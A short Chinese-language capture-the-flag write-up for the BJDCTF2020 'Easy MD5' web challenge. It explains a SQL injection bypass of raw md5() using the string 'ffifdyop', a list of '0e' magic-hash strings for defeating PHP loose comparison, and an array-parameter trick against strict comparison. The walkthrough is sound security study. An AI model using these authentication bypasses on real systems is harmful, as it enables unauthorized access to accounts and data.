BJDCTF2020 Easy MD5
题目环境进入后是一个输入框,随便传一个值,用burp抓包看看
查看请求包可知,输入的字符串会被当做password的值以get方式传递,
查看响应报文会发现提示,是一个sql语句,其中用到了md5($pass,true)
第二个参数true会将md5值用原始的6字符输出,
在网上搜索后发现这个可以用ffifdyop
绕过,绕过原理是:ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or ‘6,而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from ‘admin’ where password=’’ or ‘6xxxxx’,等价于 or 一个永真式
,因此相当于万能密码,可以绕过md5($pass,true)函数
在下一个界面可以看到注释中有提示
1 | $a = $GET['a']; |
对于md5弱类型比较,可以直接传入两个字符串,使其md5后为0e+纯数字串
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
构造如下
1 | a=s878926199a&b=s155964671a |
进入下一关看见如下代码
1 |
|
这和上一关的绕过方法类似,不过此处为===
是强比较,强比较一般有两种方法,一种是数组绕过,一种是直接强碰撞,我们这里选择数组绕过param1[]=1¶m2[]=2
得到flag